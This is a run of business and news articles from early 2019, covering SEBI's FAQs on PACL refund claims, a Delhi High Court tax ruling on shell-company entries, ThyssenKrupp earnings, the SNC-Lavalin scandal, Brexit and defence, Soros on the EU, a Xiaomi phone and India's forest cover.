In legal parlance, there is a clear distinction between ownership and the right to use (for software, and music, film, books stored digitally). In such a scenario, only the original digital data of the user that may be stored on a medium offered by the service-provider can be called the digital estate of the user.

In fact, laws for digital assets in the US make it a criminal offence for a spouse or family member to access email, social media or other online accounts of the user.

In addition, terms of service agreements of several service-providers bar the user from sharing or providing access to contents of the users account.

This means that, unless you have planned and shared the details of your entire digital assets with your heirs through a clearly defined Will, they may remain locked forever. But, even with the Will, the heir or nominee may not be able to take control of your account and some of it may remain locked forever. We hope governments will take a note of this and come out with legal provision for smooth bequeathing of digital assets or estate to legal heirs or person(s) designated by the user.Market regulator Securities and Exchange Board of India (SEBI) had said the Justice RM Lodha Committee has decided to allow investors to file claims for PACL Ltd. The claim application for refund from PACL can be filed till 30 April 2019.

SEBI has created a separate website for accepting the claim forms from all investors of PACL who are seeking refund of their investment. To file the claim, the investor need to visit http://sebipaclrefund.co.in/ and submit her application. For submitting the claim, the investor needs to upload copy of her PAN card, latest passport size photo, copy of cancelled cheque, copy of PACL certificate and receipts, if any.

For investors who have changed their names or nominees of the investor, who is no more or incapacitated, SEBI says it will announce later a separate window for submission of claim applications. Such investors need to regularly check SEBI website or the PACL page on SEBI website https://www.sebi.gov.in/PACL.html

Here are 32 frequently asked questions (FAQs) on submitting claim for refund from PACL. These FAQs are provided by SEBI.

FAQs to enable PACL investors submit their claims

1.In cases where holder of the certificate is deceased, whether nominee or legal heir can apply for refund? What are the documents required for a nominee to apply for PACL refund?

The current process does not envisage a claim application being made by a nominee or a legal heir. Accordingly, only application for self can be made in the current process. Any decision, if taken by the Committee, with respect to the receipt of claim applications from nominees or legal heirs, shall be notified in due course.

2.Name on PAN card differs from that provided in the PACL certificate(s). What needs to be done in that case?

You can make a claim application even if the Name on the PAN card differs with the Name appearing in the PACL certificate(s). You have to enter your Name as mentioned on the PAN card in the field for PAN Name, the Name as appearing in the PACL certificate in the field for PACL Certificate Name and upload the supporting documents in the field provided.

3.The investment is in the name of minor who does not have a PAN Card. What needs to be done in that case?

The documentary proofs as prescribed have to be submitted with the claim application, for the said claim application to be a valid application. Hence, you need to apply for a PAN Card in the name of the minor. The Income Tax Department has not mentioned an age limit for availing a PAN card, which means that even minors are eligible to apply for it.

4.When will the money be refunded? Will money be refunded with interest?

The decision of refund shall be taken by the Committee after verifying the claims made by the applicant investor(s). The Committee will refund the amount(s) invested, depending upon the corpus available with the Committee, on the basis to be decided by the Committee. Payment of interest is not envisaged at this stage.

5.How is the claim amount that is to be entered in the claim application form to be calculated? Can an investor input the maturity amount as the claim amount?

The claim amount is the total amount that is derived upon adding the amounts as appearing in all the outstanding receipts of payment with respect to a particular PACL Registration Number. The claim amount so entered by the investor in the claim applicati on form is required to be supported by uploading the scanned copy of the corresponding certificate issued by PACL for the said PACL Registration number along with the scanned copy (ies) of the corresponding outstanding receipt (s) of payment. For greater clarity, please refer to the refund video. Further, the originals of the scanned copies uploaded should be available with the investor. It is further clarified that the maturity amount is not the claim amount.

6.Can an investor who does not possess any receipts or is in possession of only a few receipts or just the last receipt and/ or does not possess the bond certificate make a claim for refund? In which case, what would be the claim amount?

The Committee has not envisaged any payments against lost or misplaced bond certificate (s) and/ or receipt(s) at this stage.

7.In case original documents (bond certificates and/ or receipts) have been surrendered to PACL and investor has only acknowledgement issued by PACL, can he/she apply for refund?

Can such acknowledgement slip be uploaded in lieu of PACL certificate while applying for refund? If investor has availed loan from PACL Ltd. after submitting all the documents to PACL, how to apply for refund in such a scenario?

In the current process of receiving claim applications, the investor submitting a claim application should be in possession of the original bond certificate and original outstanding receipt(s) of payment, and shall upload the scanned copy of the bond certificate along with the scanned copies of the outstanding receipt(s).

Accordingly, to submit a claim application, any desirous investor shall have to upload the scanned copies of the above documents and be in possession of the respective original documents. For greater clarity, please refer to the refundvideo. The Committee has not envisaged any payments against any acknowledgement issued by PACL at this stage.

8.Is there any upper limit on the number of receipts that can be uploaded?

There is no upper limit on the number of receipts that can be uploaded. Accordingly, you may upload as many number of receipts as may be outstanding with respect to a particular PACL Registration number.

9.Is there an option to apply for PACL refund by submitting physical claim application?

The current process of receiving claimapplications is a digital process considering the magnitude and scale of the process. Accordingly, no physical claim application can be submitted in the current process.

10.Can those Investors who were unable to upload documents and make their claim during the first process (outstanding principal up to Rs. 2500/-)apply again in the current process?

Yes. If you were unable to make your application in the previous process, you may do so in the current process, provided, you upload the scanned copy of the bond certificate along with the scanned copies of the outstanding receipt(s) and are in possession of the original bond certificate and original outstanding receipt(s) of payment.

11.Can an investor from a neighbouring country apply for refund with the other country ID & address proofs in lieu of PAN Card? Also, can an investor submit Aadhaar Card in lieu of PAN card?

No.The documentary proofs as prescribed have to be submitted with the claim application, for the said claim application to be a valid application. Accordingly, no documentary proofs, except the ones prescribed shall be considered.

12.Can an investor upload scanned copy of the first page of the bank pass book instead of cancelled cheque/ Bankers certificate?

In case investors do not have a chequebook, they may get a certificate from the bankers in the format prescribed. In the alternative, the investor can upload that front page of the bank pass book and the page that contains the Investors Name, the Bank Account number and the IFSC Code.

13.What can be done in case of error message, This PACL number does not exist as per our records.?

In case you are holding original bond certificate (s) and corresponding original outstanding receipt (s) issued by PACL, and while filing your claim application you have received the aforesaid message, you may

email the PACL Registration number details along with the scanned copy (ies) of the corresponding aforesaid

.

14.Is the refund application website http://www.sebipaclrefund.co.in /accessible outside of India?

Yes. The refund portal has now been made accessible from outside of India except Pakistan, China and Russia.

15.What can be done to update information in the portal once acknowledgement number has already been generated?

An acknowledgement number is generated after the final submission of the claim application.Accordingly,no changes can be made after the generation of the acknowledgement number.

16.Which web browser is to be used for this website?

This websiteworks best withthe latest version of GoogleChrome browser.

17.What is the process for registration of my claim?

For registration, youneed to enter your PACL registration number twice, mobile number and captcha. On entering the details, an OTP would be sent to the mobile number entered during registration. Once the OTP is successfully entered and if the details submitted are in order, yourregistration would be successful.Upon successful registration, you may start the process of submitting your claim application.

18.How do I login to my claim application?

On successful registration, youwould be guided to a password creation screen. Youcan create a password of yourchoice. The password should be between 8-16 characters and containat least one upper case letter (a-z), one numeral (0-9) and one special character. On successful creation of password, subsequent logins would need to be done using your PACL registration number and password.

19.What information do I need to submitin the claim application form?

Youneed to submit yourname as per PACL certificate, the claim amount(in Rs.), name as per PAN, PAN number, your bank account number, bank name and IFSC code.

20.What are the documents that I need to upload?

Youneed to upload copy of your PAN, latest passport size photograph, copy of canceled cheque with your name printed or bankers certificateas per the prescribed format available at sebipaclrefund.co.in on the letter head of the bank, copy of PACL certificate, and receipts, if any.

21.Can I exit even though I have partially filled up the claim application form?

Yes, you can exit the applicant by clicking on the logout button. The informati on entered by you would be saved when youclick on Save and Next option.You can come later and log in to finish your claim application.

22.What is the format of the documents to be uploaded?

The documents can be uploaded in pdf, jpg or jpeg formats.

23.What should be the specifications of the documents being uploaded?

The documents uploaded should be on black and white scale, 200 dpi and vertically aligned.The size of the document should be restricted to 300KB.

24.How do I know if my application is successfully submitted?

After completion of all the required formalities, you may click on the Final Submit button, upon which a preview screen will appear for confirmation of the information entered by you on the web platform. Upon your confirmation of the information entered, the application would be successfully submitted and an acknowledgement receipt number (ARN)would be generated. This number along with the PACL

registration number should be used for all future communication.

25.Can I delete/edit the information I have saved?

Youcan edit/delete the information multiple times till you submit your application by clicking on the Final Submit button. However, once you have clicked on the Final Submit button no further changes would be allowed.

26.What if I forgot my password?

Click on Forgot Password option on this website. Enter the PACL registration number and click on generate OTP option. Enter the OTP received on your mobile number and click on submit OTP. Once the correct OTP has been submitted, youwould be taken to the Enter passwordscreen where youcan create a fresh password.

27.What if I do not have a PAN card?

You would need to obtain a PAN card and then submit the application?

28.How do I obtain a PAN card?

To obtain information on how to obtain a PAN card,click on the below link. https://www.incometaxindia.gov.in/Pages/tax-services/apply-for-pan.aspx

29.What if I do not have a bank account where I am the first holder?

You can submit the bank account details where you are a joint holder. The canceled cheque copy with your name printed or bankers certificate as per the prescribed format available at sebipaclrefund.co.in on the letter head of the bank also needs to be uploadedalong with the claim application

.

30.What if the PACL certificate holder has passed away?

Can any nominee make the claim on behalf of such deceased investor?In such acase, the claim application can be submitted by the Nominee whose name appears on the PACL certificate. However,date for the submission of claim applications through nominees shall be notifiedin due course.

31.What if my name has changed due to marriage?

The date for the submission of claim applications in your new name together with supporting documents shall be notified in due course.

32.In case of queries/complaints, where can I contact?

In case of queries/complaints, please call the helpline number 022 61216966

Here are the FAQs in Hindi...In a significant order pronounced on 9 February 2019, Justice Sanjeev Khanna of the Delhi High Court ruled against the assessee who was found to have infused capital through what seemed like bogus entries into his account. Interestingly, the commissioner of income-tax (appeals) and the income-tax appellate tribunal had rejected the assessing officers (AO) contention about bogus entries. The AO had added the amount of bogus capital infusion into the income.

The judgement would deal a powerful blow to the practice of shell companies providing and getting accommodation or bogus entries.

The case is as follows. NDR Promoters Pvt Ltd had raised Rs1.68 crore from a bunch of companies (see table below). Of this, for the amounts totalling Rs1.51 crore, the assessing officer as per his order of 30 December 2010, added Rs1.51 crore to the income of NDR promoters. His logic was that these companies were created by and de facto operated by Tarun Goyal, chartered accountant (CA), who had set up about 90 companies or firms including these five companies for providing 'accommodation entries'.

The paperwork was perfect but there were chinks which had revealed that the true nature of the transactions was to convert illegitimate money by providing bogus or accommodation entries. A search under Section 132 of the Income-tax (I-T) Act conducted by the investigation wing of the I-T department on Mr Goyal unearthed that the registered offices of all these 90 companies were at 13/34, Main Arya Samaj Road, Karol Bagh and their former office was at 203, Dhaka Chambers, 2069/39, Naiwala, Karol Bagh, New Delhi.

These companies were not carrying on any genuine business. The directors were employees of Mr Goyal, and were working as peons and receptionists. Entries in the books were bogus. The modus operandi in such cases is that cash is first deposited in the bank account of one such company, which is then then transferred/ circulated within the group companies before the cheque is issued to the beneficiary.

The assessing officer had asked NDR Promoters to produce the directors of the shareholder companies for examination after recording:-

(i) most of the directors in their statement recorded by the investigation wing had admitted that they had signed documents/papers on the direction of Tarun Goyal.

(ii) Shares of face value of Rs10 were issued at a premium of Rs40 (total Rs50). There was no justification and reason for a third person to purchase shares in NDR Promoters and to pay a substantial premium.

(iii) NDR Promoters had shown receipts of Rs16.38 lakh and Nil income in the year ending 31 March 2008 and 31 March 2007, respectively. There were no fixed assets and NDR Promoters had incurred expenses amounting to Rs12.17 lakh and Nil in the year ending after those two years.

The AO asked a bunch of pertinent questions like how and when the dealings had started with the shareholder companies; whether the promoters were known to each other directly or indirectly in which who was the introducer; since when the introducer was known; whether the applications for allotment of shares were received in one lot or on different dates and whether they were received by hand or by post.

He also asked whether the acknowledgement was issued with supporting evidence; provide the proof if any offer letter was received or issued; whether stamp duty was paid on allotment of shares; whether the share certificates were delivered by hand or by post. If by hand, he asked for details of the person who had delivered the certificates. If share certificates were issued by post, state whether they were received back; indicate whether annual reports, balance sheet or notices of AGM/EGM of the respondent-assessee company were sent to the shareholders.

NDR Promoters did not produce the directors for examination. Other details and particulars were also not filed as required and demanded by the AO.

The AO made an addition of Rs1.51 crore as unexplained cash. He observed that no prudent businessman would invest in the shares of NDR Promoters at five times the face value of shares. There was sufficient evidence to indicate and infer that beneficiaries, i.e., NDR Promoters had introduced income from undisclosed sources into their business under the garb of share capital/share premium.

The addition was deleted by the commissioner of I-T (appeals). His logic was that the respondent-assessee had not been able to establish the identity, creditworthiness of the shareholders and genuineness of the transactions in terms of several decisions the Court, including CIT vs Oasis Hospitalities Pvt Ltd, decided on 31 January 2011. He held that once documents like PAN or bank account details were given, then the onus had shifted on the AO and it was up to him to reach the shareholders. This burden could not be passed on to the assessee, merely on the ground that the summons issued to the shareholders were returned.

The AO had issued notice under Section 133(6) of the Act and in response had received replies confirming the investment. The shareholder companies were incorporated and had invested money through banking channels which was reflected in the books. Investment was proved by the bank statements that disclosed sufficient balance before cheques were issued. Accordingly, the three requirements, i.e. identity of the investor, creditworthiness of the investors and genuineness of the transactions were satisfied.

The revenue department appealed against CITs decision which was dismissed by Income Tax Appellate Tribunal (ITAT), which made the same points as the CIT (Appeals). He cited cases such as CIT vs Rakam Money Matters Pvt Ltd and CIT vs Victor Electrodes.

The counsel for NDR submitted that once the assessee had been able to show that the shareholder companies were duly incorporated, their identity stood established, genuineness of the transactions stood established as payments were made through account payee cheques/bank account; and mere deposit of cash in the bank accounts prior to issue of cheque/pay orders, etc would only raise suspicion and, it was for the AO to conduct further investigation, but it did not follow that the money belonged to the assessee and was their unaccounted money which had been channelled.

Justice Khanna pointed out that there are two sets of judgements and cases to refer to, in cases of suspected bogus entries. In one set of cases, the assessee produced the necessary documents/evidence to show and establish the identity of the shareholders, the bank account from which payment was made, the fact that payments were received thorough banking channels, filed the necessary affidavits of the shareholders or confirmations of the directors of the shareholder companies, but thereafter no further inquiries were conducted.

The second set of cases are those where there was evidence and material to show that the shareholder company was only a paper company having no source of income, but had made substantial and huge investments in the form of share application money. The assessing officer has referred to the bank statement, financial position of the recipient and beneficiary assessee and the surrounding circumstances. The primary requirements, which should be satisfied in such cases is, identification of the creditors/shareholder, creditworthiness of creditors/shareholder and genuineness of the transaction. These three requirements have to be tested not superficially but in depth having regard to the human probabilities and normal course of human conduct.

Certificate of incorporation, and PAN number are relevant for the purchase of identification, but have their limitation when there is evidence to show that the subscriber was a paper company and not a genuine investor.

As was held in Supreme Court in CIT vs Durga Prasad More [1971] 82 ITR 540 (SC): The taxing authorities were not required to put on blinkers while looking at the documents produced before them. They were required to look into the surrounding circumstances to find out the reality of the recitals made in those documents.

In Nova Promoters and Finlease (P) Ltd (supra), the Division Bench has held that The tribunal also erred in law in holding the Assessing Officer ought to have proved that the monies emanated from the coffers of the assessee-company and came back as share capital. Section 68 permits the Assessing Officer to add the credit appearing in the books of account of the assessee if the latter offers no explanation regarding the nature and source of the credit or if the explanation offered is not satisfactory. It places no duty upon him to point to the source from which the money was received by the assessee.

In A Govindarajulu Mudaliar vs CIT (1958) 34 ITR 807, Venkatarama Iyer, J, speaking for the court observed, Whether a receipt is to be treated as income or not, must depend very largely on the facts and circumstances of each caseThere is ample authority for the position that where an assessee fails to prove satisfactorily the source and nature of certain amount of cash received during the accounting year, the income-tax Officer is entitled to draw the inference that the receipts are of an assessable nature.

In essence, the view taken by the ITAT that the AO is responsible to prove that the transactions were not bona fide, is contrary to the law laid down by the Supreme Court. The statements of Mukesh Gupta and Rajan Jassal, the entry providers, explaining their modus operandi to help the assessees having unaccounted monies convert the same into accounted monies, affords sufficient material on the basis of which the AO can be said to have discharged the duty.

The names of several companies, which figured in the statements given by the entry providers to the investigation wing, also figured as share-applicants subscribing to the shares of the assessee-company. Justice Khanna pointed out that these constitute materials upon which one could reasonably come to the conclusion that the monies emanated from the coffers of the assessee- company. The Tribunal, apart from adopting an erroneous legal approach, also failed to keep in view the material that was relied upon by the Assessing Officer. The CIT (Appeals) also fell into the same error. If such material had been kept in view, the Tribunal could not have failed to draw the appropriate inference.

He went on to point out that The present case would clearly fall in the category where the Assessing Officer had not kept quiet and had made inquiries and queried the respondent-assessee to examine the issue of genuineness of the transactions.

The Tribunal, unfortunately, did not examine the said aspect and has ignored the following factual position:-

(a) The shareholder companies were all located at a common address.

(b) The total investment made by these companies was Rs1,51,00,000, which was a substantial amount.

(c) Evidence and material on bogus transactions found during the course of search of Tarun Goyal. Evidence and material that the companies were providing accommodation entries to beneficiaries was not considered.

(d) The findings recorded in the assessment order were strong.

1. From the findings of the search, it is evident and undeniable that all the companies including the alleged shareholders companies belong to Tarun Goyal. This is enforced even more from the following:-

i. All the companies are operated from the-office premises of Tarun Goyal.

ii. All the directors are either his employees or close relatives. Tarun Goyal could never produce the directors nor furnish their residential address.

iii. The statement of employees of Tarun Goyal is, on record, whereby they have clearly stated that they signed on the papers produced before them by Tarun Goyal. They do not know about the basic details of the companies like shareholding patterns, nature of business of these companies etc.

iv. The statement of auditors of Tarun Goyal is on record. They have stated to have never meet (sic) the directors of the companies and audited the accounts only on the directions of Tarun Goyal. As per the statement of auditors, the employees of Tarun Goyal were directors of the companies run by them, also they could not ascertain the so called share capital subscribed by Tarun Goyal as documentary proof of the same was lacking.

v. During the course of the search, all the passbooks, cheque books, PAN cards etc. were always in the possession of Tarun Goyal. On his directions all the employees signed all the documents.

vi. All the bank account opening forms appear to be in the handwriting of Tarun Goyal.

vii. All the books of accounts of all the companies have been retrieved from the computers/laptop of Tarun Goyal.

viii. Tarun Goyal has given letters for the release of bank accounts of companies put under restraints after the search. No such application was received from the so called directors of the companies.

ix. Tarun Goyal appears in all the scrutiny assessments as well as appeals of his companies himself before various income tax authorities. From the verification carried out in respective wards/ circles where the above mentioned companies are assessed, it is evident that Tarun Goyal is appearing in all the income tax proceedings on behalf of all the companies. He is not charging any fees for appearing in these cases.

x. During the post search investigation it was revealed that besides aiding and abetting the evasion of taxes, Tarun Goyal has also been indulging in violation of other provisions of the law of the land. This matter has also been taken up by REIC for multi-agency probe.

In view of the aforesaid factual position, we have no hesitation in holding that the transactions in question were clearly sham and make-believe with excellent paper work to camouflage their bogus nature. Accordingly, the order passed by the Tribunal is clearly superficial and adopts a perfunctory approach and ignores the evidence and material referred to in the assessment order. The reasoning given is contrary to human probabilities, for in the normal course of conduct, no one will make investment of such huge amounts without being concerned about the return and safety of such investment.The logo of German steel-to-elevators group ThyssenKrupp AG is pictured during the company's annual news conference in Essen

German industrial conglomerate Thyssenkrupp on Tuesday confirmed its earnings forecasts for the full year after increasing profits in its first quarter, while announcing a January 2020 vote on its split into two separate firms. Net profit at the group rose 69 percent between October and December, to 136 million euros ($153 million).

Revenues at the steelmaker, whose product range stretches from submarines to elevators and car parts, edged two percent higher to reach 9.7 billion euros.

Meanwhile adjusted operating profit fell 26 percent, to 333 million. "Thyssenkrupp is operating in attractive markets and our fundamental growth drivers are intact," chief executive Guido Kerkhoff said.

"But the figures also show that we have to keep pressing forward with our performance programmes in all business areas," he added.

The group said increased sales across all its business areas, notably the elevator business in Europe and North America, contributed to its higher revenues.

But even the standout division saw lower profits as higher raw material costs and tariffs on materials imports into the United States made themselves felt.

Based in Rhineland industrial city Essen, low water levels on the vital river artery following a hot, dry summer "severely" impacted Thyssenkrupp's steel business by slowing shipping.

And the slowdown in production in the car industry following the introduction of new, tougher emissions tests also temporarily reduced demand for Thyssenkrupp's products.

Although Thyssenkrupp said "economic and political uncertainties are growing" and casting a shadow over business, the group maintained its forecast for 2018-19 of adjusted operating profit above one billion euros -- around 30 percent higher than the previous financial year.

Net profits should also "increase significantly" from the 60 million euros booked in 2017-18, the group also predicted.

A major contributor to the fatter bottom line should be "positive effects arising at the closing of the steel joint venture" with the European operations of Indian giant Tata.

The European Commission's green light is still needed for the merger. In the group's broader restructuring, launched last year under pressure from activist shareholders, the group said investors would have a vote in January 2020 on its split into two listed companies.

Of the new twin Thyssenkrupps, one known as "Industrials" will combine the elevator, car components and factory-building businesses. Its counterpart, "Materials", will group together steel and the shipbuilding unit.

"Both companies are to commence operations at the start of the next fiscal year on October 1, 2019," Thyssenkrupp said.He will bring together a diversity of views across the city on our most pressing challenges of creating jobs, reducing violent crime, and improving our schools so we all can be proud to live and work in this world-class city that we call our home, Griffin said.Justin Trudeau

A Canadian minister's sudden resignation on February 12 turned vague allegations of interference in the criminal prosecution of an engineering giant into a deepening political crisis for Prime Minister Justin Trudeau's Liberals.

Jody Wilson-Raybould's resignation followed a chorus of demands for the government to come clean about whether Trudeau's office had pressured her to intervene in the prosecution of SNC-Lavalin.

The Montreal-based firm was charged in 2015 with corruption for allegedly bribing officials in Libya between 2001 and 2011 to secure government contracts during former strongman Moamer Kadhafi's reign.

Jody Wilson-Raybould, who was Canada's first indigenous attorney general and justice minister prior to being shuffled to another post last month, announced on Twitter that "with a heavy heart" she was leaving the cabinet.

Trudeau said he was "surprised and disappointed." "Our government did its job properly and according to all the rules," he said, while upbraiding his former attorney general, if she felt otherwise, for not bringing her concerns to him directly.

SNC-Lavalin lobbied the government, including senior officials in Trudeau's office, for an out-of-court settlement that would include paying a fine and agreeing to put in place compliance measures.

A possible guilty verdict at trial, they argued, risked crippling its business and putting thousands out of work.

But according to unnamed sources cited by the Globe and Mail, Wilson-Raybould refused to ask prosecutors to settle with the company, and the trial is set to proceed.

Trudeau has denied the allegations, saying: "At no time did I or my office direct the current or previous attorney general to make any particular decision in this matter." Opposition parties, however, pressed for clarity.

And on February 10 the independent ethics commissioner launched an investigation -- the second into a prime minister first elected in 2015 on a promise to clean up corruption, and with only eight months before the next ballot.

While the controversy snowballed, Wilson-Raybould declined to speak, citing solicitor-client privilege and cabinet confidentiality.

"I am aware that many Canadians wish for me (to) speak on matters that have been in the media over the last week," she said in a statement.

"I am in the process of obtaining advice on the topics that I am legally permitted to discuss in this matter," she said, adding that she retained a retired Supreme Court justice as legal counsel.

Conservative leader Andrew Scheer reacted to her resignation by saying Trudeau's "ethical lapses and his disastrous handling of this latest scandal have thrown his government into chaos." He also accused the prime minister of "trying to hide the truth with regards to the SNC-Lavalin affair."

The Canadian charges against SNC-Lavalin were just the latest blow to one of the world's largest construction and engineering firms, after its former president and senior executives were accused of fraud, and the World Bank banned it from bidding on projects until 2023 due to "misconduct" in Bangladesh and Cambodia.

The company, its international arm and another subsidiary are accused of having offered Can$47 million (US$36 million) in bribes to officials and of defrauding the Libyan government of Can$130 million (US$98 million). It oversaw billions of dollars in projects in Libya, including construction of a prison outside Tripoli and an airport in Benghazi.

The charges relate to the world's largest irrigation project -- the Great Man Made River Project -- to provide fresh water to the cities of Tripoli, Benghazi and Sirte.

The firm employs 50,000 people worldwide, and if found guilty in Canada it would be prohibited from bidding on Canadian government projects -- its lifeblood.

It has argued that those responsible for alleged wrongdoing left the company long ago, and that holding it accountable for their criminal actions would severely hurt its business.Britain's departure from the European Union without a deal would doom the prospects for a Franco-German next-generation fighter jet with a rival project in Britain, the head of Airbus Defence and Space told the Handelsblatt German newspaper.

Dirk Hoke told the newspaper he considered it "absolutely imperative" that the EU reach an agreement with Britain on security, defence and space given the closely interwoven ties between Europe and Britain.

"I consider it extremely dangerous to develop a system like FCAS (the Franco-German fighter programme) without the British," he said, noting that potential order quantities would rise if Britain participated, making future aircraft more competitive.

France and Germany this month awarded a 65 million euro ($74 million), two-year contract financed equally by both countries to Dassault Aviation and Airbus to start designing a next-generation combat air system for use from 2040.

Hoke said there were discussions about Spain joining the Franco-German programme, but the Brexit negotiations would be decisive in determining any cooperation with Britain.

"In Britain's case, we have to wait to see if there will be a hard Brexit," he told the newspaper. "That would be fatal for the cooperation."No 4 | George Soros | Founder of Soros Fund Management | Donation: $130 million (Image: Reuters)

Billionaire investor and liberal political activist George Soros has warned that Europe to please wake up ahead of the European Parliament elections in May and before nationalist parties take control.

Europe is sleepwalking into oblivion, and the people of Europe need to wake up before it is too late, the Hungarian-American financier wrote in a rare opinion editorial for Project Syndicate, warning that if they don't, the European Union will go the way of the Soviet Union in 1991." Soros, 88, was referring to dissolution of the Union of Soviet Socialist Republic (USSR) in 1991.

"The current leadership is reminiscent of the politburo when the Soviet Union collapsed  continuing to issue ukazes (proclamation) as if they were still relevant," Soros said, adding: Neither our leaders nor ordinary citizens seem to understand that we are experiencing a revolutionary moment, that the range of possibilities is very broad, and that the eventual outcome is thus highly uncertain.

Soros, famously known as the man who broke the Bank of England, feels anti-European forces will have a competitive advantage in May, when lawmakers to the European Parliament will be elected.

"Unfortunately, anti-European forces will enjoy a competitive advantage in the balloting. There are several reasons for this, including the outdated party system that prevails in most European countries, the practical impossibility of treaty change, and the lack of legal tools for disciplining member states that violate the principles on which the European Union was founded," he said.

However, he added that if pro-Europeans wake up and mobilise to defend the blocs values then there is a chance it can be saved.

His warning comes at a time when Europe is facing rising uncertainty and instability due to rise in populism and anti-establishment sentiment.

In Britain, the Theresa May-led Conservative Party is pushing forward with its plan to exit the EU at the end of March. France too is gripped by the yellow vests movement calling for economic justice.

In Hungary, Viktor Orbans Fidesz Party, running on an anti-mass migration platform won a supermajority last year. Similar promises in Italy, saw a coalition government of the nationalist League and the populist 5-Star Movement winning last years hung elections and rise of the he far-right Alternative for Germany (AfD) in Germany. Shaking the bloc's foundations are anti-migrant policies and anti-democratic actions in eastern Europe (read Hungary and Poland).

On Brexit

On Brexit, Soros thinks that Britain can still salvage the situation by delaying or by holding another referendum.

The public is also becoming aware of the dire consequences of Brexit. The chances that Mays deal will be rejected on February 14 are growing by the day. That could set in motion a groundswell of support for a referendum or, even better, for revoking Britains Article 50 notification, he wrote.

On the migrant crisis and impact on Italy

Soros feels Europe had made a fatal mistake in 2017, during the migration crisis, by strictly enforcing the Dublin Agreement, which unfairly burdens countries like Italy where migrants first enter the EU.

Under the Dublin Agreement, migrants arriving on European shores had to claim asylum in the first country of entry. Italy struggling to cope with the influx of migrants drove the electorate "into the arms of the anti-European League party and Five Star Movement in 2018," Soros noted.

Recommends two steps to save the union

To counter anti-European forces, both within and without the bloc, Soros said Europe needed to first recognise the magnitude of the threat they present. It then needs to "awaken the sleeping pro-European majority and mobilise it to defend the values on which the EU was founded.

Otherwise, the dream of a united Europe could become the nightmare of the twenty-first century," he signed of the cautionary note.Earlier last month, Chinese tech giant, Xiaomi made the first big unveiling of 2019 - the Redmi Note 7.

It was Xiaomis first significant smartphone launch of the year and now it looks set to strengthen the company's tight hold on the Indian budget smartphone market.

Xiaomi Global Vice President and Managing Director Manu Kumar Jain said in reference to the launch of the Redmi Note 7, in a report by Gadgets 360, This is probably the device that I'm most excited about for this year.

Kumar hinted that the Redmi Note 7 would bring about an upside-down shakeup of the Indian smartphone market.

The Redmi Note 7 could just be Indias most anticipated smartphone given how aggressive Xiaomi prices its phones till date  especially considering the Pocophone.

48-megapixel Camera

Undoubtedly the most noticeable feature on the Redmi Note 7, the 48-megapixel f/1.8 aperture primary sensor coupled with a 5-megapixel f/2.4 aperture depth sensor provides incredible image capture.

The 48-megapixel lens uses a Samsung ISOCELL GM1 Ultra Clear sensor. Although the default 12-megapixel setting on the camera app offers plenty of detail, close to no noise and excellent contrast, you can opt for the full 48 megapixels in the Pro mode. However, using Pro mode does render slightly noisier results, but can be quite useful in low-light scenarios.

Snapdragon 660

The Redmi Note 7 houses a very-capable Qualcomm Snapdragon 660 chipset and 3GB of RAM to seamlessly handle multitasking or the gaming.

4000 mAh Battery and Quick Charge 4

The Note 7 boasts a 4000 mAh battery with Quick Charge 4 support. Xiaomi claim that the battery on the Note 7 offers up to 251 hours of standby time, 23 hours of talk time, 13 hours of video playback, and 7 hours of gaming.

FHD+ Display

Redmi Note 7 sports a gorgeous 6.3-inch FHD+ display with 450 nits brightness and a 19.5:9 aspect ratio.

The Redmi Note 7 sold one million units in its first month in China, just as company CEO Lu Weibing predicted. Much of the Note 7s success came from its incredibly affordable price tag (Approx $250), immersive FHD+ display, support for Quick Charge 4 and powerful Snapdragon 660 SoC.

The Redmi Note 7 offers an attractive package and a value for money proposition that very few smartphones can compete with.Representative Image

A parliamentary panel expressed concern on February 12 over forest degradation in the country, especially in the north-eastern states, and urged the Environment Ministry to take stringent steps to curb the illegal felling of trees.

The Parliamentary Standing Committee on Science and Technology, Environment and Forests, in its 324th report on "Status of Forests in India" tabled in the Rajya Sabha on Tuesday, said no action plan was prepared by the Ministry of Environment and Forests (MoEF) for controlling the illegal cutting of trees in forests.

The panel relied on the India State of Forest Report, 2017, according to which the total forest and tree cover in India was 80.20 million hectares, which was 24.39 percent of the geographical area of the country. However, the report said, there was a reduction of 0.34 million hectares of moderately dense forests, which indicated forest degradation.

"The committee is concerned about the decline in the forest cover in the north-eastern states, which is 65.34 per cent of its geographical area, in comparison to the national forest cover of 21.54 per cent. The committee recommends that the concerned state governments and the Ministry of Environment, Forest and Climate Change must look into the factors responsible for the decline in the forest cover and take all necessary steps to ensure that the trend of decline in forest cover in these states is arrested at the earliest," the report said.

The panel report noted that there was a decrease of forest cover to the extent of 630 sq.km in the north-eastern region, which was attributed to shifting cultivation and other development activities in the region.

"On one hand, the government is spending crores of rupees for environmental protection, while on the other hand, illegal cutting of trees and transportation of wood have been plaguing our forests in a big way.

"The committee is of the view that the Ministry of Environment must take due cognizance of the illegal felling of trees in different parts of the country and in coordination with the concerned states and Union territory administrations, prepare an action plan for tackling this menace," it said.

The ministry should impress upon all the forest management authorities concerned to take necessary action and utilise the constitutional provisions to restrict this illegal practice, it added.

It also sought that the report on illegal cutting of construction timber in a forest near the border area of Nepal in Shravasti district of Uttar Pradesh be shared with the committee by the UP forest department at the earliest.

The committee also said an insufficient budget allocation to the National Afforestation Programme (NAP) was hampering achieving the annual targeted area of afforestation during the last few years, which had already declined gradually over the last four years.

"The committee, therefore, recommends that the MoEF must ensure that adequate allocation is made for the National Afforestation Programme and the targets under the programme are achieved.

"Further, the concerned state governments should also provide their share of the changed funding pattern to make the NAP a success," it said.

Quoting a ministry official, the panel report said according to the government, India should have 33 per cent forests but it presently had only 24-25 per cent forests and the rate of growth was not fast enough for forests in the country to reach the target immediately.

The committee recommended that the ministry should judiciously manage the forests in the country, if required, through necessary policy interventions.

"Environment and development are supplementary and complementary as the two sustain each other. The need, therefore, is to strike a fine balance between the two and to pay due attention to both, within a sustainable development framework," it said.Googles Pixel 3 was launched in October last year, and the smartphone has been in the news for a rumoured Lite variant. While there is no update on the rumour, another leak has surfaced online that states the Pixels next generation would have dual SIM support, just like the one offered in iPhone XS and XS Max.

A comment on Android Open Source Project by an engineer states that Google would offer better dual SIM support for the Pixel 4. The Pixel 2 and 3 already offer eSIM support along with a physical SIM, but both of them do not work at the same time. This feature is called as the Dual SIM, Single Standby (DSSS). The next generation phone may get an update wherein both the SIMs would be operational at the same time on the device, which could be named Dual SIM, Dual Active (DSDA) or Dual SIM, Dual Standby (DSDS), which means the secondary SIM would be able to receive calls and texts as long as the primary SIM is not being used for the same purpose.

